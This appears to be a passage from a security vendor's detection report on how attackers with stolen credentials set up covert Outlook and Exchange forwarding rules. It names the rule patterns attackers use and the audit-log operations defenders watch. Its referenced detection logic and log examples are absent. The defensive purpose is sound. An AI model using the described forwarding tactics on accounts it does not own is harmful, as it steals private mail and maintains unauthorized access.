How do adversaries leverage email forwarding rules?

After gaining access to the email account (typically through a compromised identity or credentials), the adversary can create forwarding rules in the same way a legitimate user does. Red Canary has observed adversaries creating mailbox rules with simple names, usually just a single or double period (., ..), a semicolon (;) or a single letter. We also saw repetitive rule names such as aaaa or ......... We observed this technique in a back-to-school campaign in fall 2023, and we also covered it in the Email threats section of the 2023 Threat Detection Report and in other blogs.

These rules typically take messages containing certain keywords (such as “invoice” or ”payroll”), or all messages from a certain sender (such as the HR department or any other individuals with whom the adversary is trying to communicate) and forward them to an external email address that is owned by the adversary.

How adversaries abuse email rules

In the Microsoft Outlook suite of products, there are two methods available for email forwarding: auto-forwarding and inbox rules.

Automatic forwarding

A user can opt to forward all emails to another email address and optionally retain the messages in addition to forwarding. Auto-forwarding can be configured by an individual for their own inbox as well as by an administrator. The following screenshot demonstrated how an adversary would configure auto-forwarding in Office 365 Exchange Online (App ID: 00000002-0000-0ff1-ce00-000000000000) for the email address they’ve compromised.

An administrator can also configure auto-forwarding on behalf of other users. Here is an example of an administrator configuring auto-forwarding for a user using Microsoft 365 Admin Center (App ID: 00000006-0000-0ff1-ce00-000000000000)

Inbox rules

While auto-forwarding is useful when you want to forward all emails, a user may also prefer to have more granular control over how emails are forwarding. Inbox rules supply this flexibility. For example, imagine an adversary wanted to retain access to a compromised account by just forwarding emails related to password resets to an email address they control. The following screenshot highlights such a configuration.

Many of these forwarding rules are created using a login originating from a suspicious IP address. Most often, these IPs are inconsistent with the user’s typical IP block or login location. We observed many logins via commonly available virtual private networks (VPN) and other anonymizing tools.

An Exchange administrator can configure outbound spam filter policy settings in order to prevent users from forwarding messages to external recipients.

Note: The visibility sections in this report are mapped to MITRE ATT&CK data sources and components.

Application logs

For most organizations, MITRE Data Source DS0015: Application Log will provide the visibility necessary to detect suspicious email forwarding rules. The details of what activity is visible may differ between platforms such as Google Workspace or Microsoft Office 365 (On and off premise), but login activity and email rule creation are both actions that should be logged by whichever email application your organization uses.

For Office 365, this would include the Unified Audit Log (UAL). If you’re running an on-premise Exchange server, it’s a little less straightforward, but you can likely collect relevant logs from a combination of Mailbox Audit Logging and Exchange Admin center, and you can hunt for email rules using PowerShell cmdlets and by monitoring other log sources.

For Google Workspace users, the Security Investigation Tool will be your starting point and suspicious email rules can be observed by obtaining user Gmail settings through the Gmail API.

Note: The collection sections of this report showcase specific log sources from native event logs, third-party tools, and elsewhere that you can use to collect relevant security information.

Not only can adversaries create email rules manually, via the Outlook desktop client and Outlook on the Web (also referred to as Outlook Web App or OWA), they can also use the Exchange PowerShell module. These cmdlets provide administrators a powerful set of functionality for investigation and maintenance as well. Fortunately, regardless of the means by which an adversary creates or modifies forwarding rules, Unified Audit Logs capture the context of what occurs.

Some important data points exist within the audit logs. From the perspective of a defender attempting to detect suspicious forwarding rules, our detection engineering team determined the following “operations” within the audit logs to be the most important:

• New-InboxRule
• Set-InboxRule
• Remove-InboxRule
• Disable-InboxRule
• UpdateInboxRules
• Set-Mailbox

These operations contain different information and have slight alterations in format:

• The New-InboxRule, Set-InboxRule, Remove-InboxRule, or Disable-InboxRule operations typically show up when someone is using the PowerShell cmdlet or Outlook on the Web.
• UpdateInboxRules is typically seen when rules are created or modified via an Outlook Desktop client using the Exchange Web Services (EWS) API and has a slightly different log format, which we’ll provide in detail below.
• Set-Mailbox is also seen in PowerShell and OWA usage, but is typically used to change the settings of a user’s mailbox. Some of these settings include options to externally forward emails.

The following parameters can be used to modify mail-forwarding rules with New-InboxRule, Set-InboxRule, Remove-InboxRule, and Disable-InboxRule operations:

The Set-Mailbox operation can also contain the following forwarding properties:

InboxRule creation events

We find the following logic useful for detecting forwarding rules created via Outlook on the Web:

We expect this rule to fire on the following example log for a New-InboxRule operation:

Set-Mailbox operations

As mentioned earlier, the Set-Mailboxoperation also has the ability to configure a user’s mailbox to auto-forward messages. The following logic should help detect when these events occur:

The following example is a log we expect to match for Set-Mailbox operations, which forward emails to an external SMTP address:

UpdateInboxRules log

We mentioned briefly above that the format of an UpdateInboxRules log has a different format as compared to the PowerShell/OWA logs. The logs will collapse some of the specific forwarding properties into one line typically found in the value of the RuleActions.

The following example is a log we expect to match for an UpdateInboxRules operation: